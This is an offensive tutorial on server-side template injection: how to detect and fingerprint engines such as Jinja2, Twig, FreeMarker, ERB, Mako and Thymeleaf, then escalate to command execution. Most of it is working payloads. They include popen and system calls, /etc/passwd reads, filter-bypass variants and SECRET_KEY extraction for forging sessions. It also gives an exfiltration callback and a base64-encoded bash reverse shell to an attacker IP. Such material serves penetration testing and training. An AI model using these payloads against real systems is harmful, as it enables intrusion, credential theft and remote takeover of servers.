SSTI: fingerprinting the template engine and getting RCE
Detect server-side template injection, work out whether it is Jinja2, Twig, FreeMarker, ERB or Mako, and the payloads to run commands on each one.
Server-Side Template Injection happens when the application puts your text inside the template instead of passing it as a variable. The engine evaluates it as code and, in almost every engine, that ends in command execution on the server.
The difference in Python/Flask code:
# Safe: the name is data
render_template_string("Hello {{ name }}", name=request.args["name"])
# Vulnerable: the name becomes part of the template
render_template_string("Hello " + request.args["name"])
Where to look
Anywhere your input comes back on the page: a profile name, an error message ("x not found"), an email subject, an invoice or PDF template, or a "customise your message" field. Also headers that get displayed in an admin panel.
Detecting it
Inject an operation and see whether the result comes back computed:
| Payload | If you get 49 (or similar)... |
|---|---|
{{7*7}} |
Jinja2, Twig, Nunjucks |
${7*7} |
FreeMarker, Mako, Spring/Thymeleaf expressions, JavaScript template literals |
<%= 7*7 %> |
ERB (Ruby), EJS (Node) |
#{7*7} |
Pug/Jade, Ruby interpolated strings |
*{7*7} |
Thymeleaf / Spring |
Tip
A polyglot such as ${{<%[%'"}}%\. tends to throw an error in almost any engine. The error message (or stack trace) often tells you straight away which engine it is.
To tell the two most common {{ }} engines apart:
{{7*'7'}}→7777777is Jinja2 (Python repeats the string);49is Twig (PHP casts to a number).{{config}}or{{self}}answer in Jinja2/Flask.{{_self}}answers in Twig.
Jinja2 (Python: Flask, Django with Jinja)
The idea is to start from any object, reach its __globals__ and from there the os module. These work without depending on specific class indexes:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
If filters block ., _ or specific words:
{{ lipsum|attr('__globals__') }} {# no dot #}
{{ lipsum['\x5f\x5fglobals\x5f\x5f'] }} {# no literal underscore #}
{{ request|attr(request.args.a) }}&a=__class__ {# the word comes in another parameter #}
And {{ config.items() }} shows you the Flask config, including the SECRET_KEY (which lets you forge session cookies).
Twig (PHP: Symfony, Craft, Grav...)
{{ ['id']|filter('system') }}
{{ ['id']|map('system')|join }}
These work on Twig 1.x/2.x and on the 3.x releases that accept a function name as a callable. On recent versions, which only accept arrow functions, look for other routes (reading files through application objects, or a disabled sandbox). On old Twig 1.x:
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
If ?new is restricted (TemplateClassResolver.SAFER_RESOLVER), try reading files through objects already in the model.
ERB (Ruby) and Mako (Python)
<%= `id` %>
<%= File.read('/etc/passwd') %>
<% import os %>${ os.popen('id').read() }
Thymeleaf / Spring (Java)
If the value ends up in a preprocessed expression (__${...}__), for example in a view name:
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
exec does not return the output: make it call back to your machine (curl 10.10.14.5/$(id|base64)) or go straight for a reverse shell.
From RCE to a shell
Quotes and spaces are a pain inside a template. Pass the command as base64:
echo -n 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"' | base64 -w0
{{ lipsum.__globals__['os'].popen('echo YmFzaCAt...|base64 -d|bash').read() }}
Tools
- SSTImap (
python3 sstimap.py -u 'http://web/?name=*'): detects the engine and gives you a shell if it can. It is the successor of tplmap. - The PayloadsAllTheThings payload list for less common engines (Smarty, Velocity, Handlebars, Pebble...).
Warning
Do not mix up SSTI and XSS: if {{7*7}} is only computed in your browser (Angular, Vue), that is client-side template injection. It gets you XSS, not command execution on the server.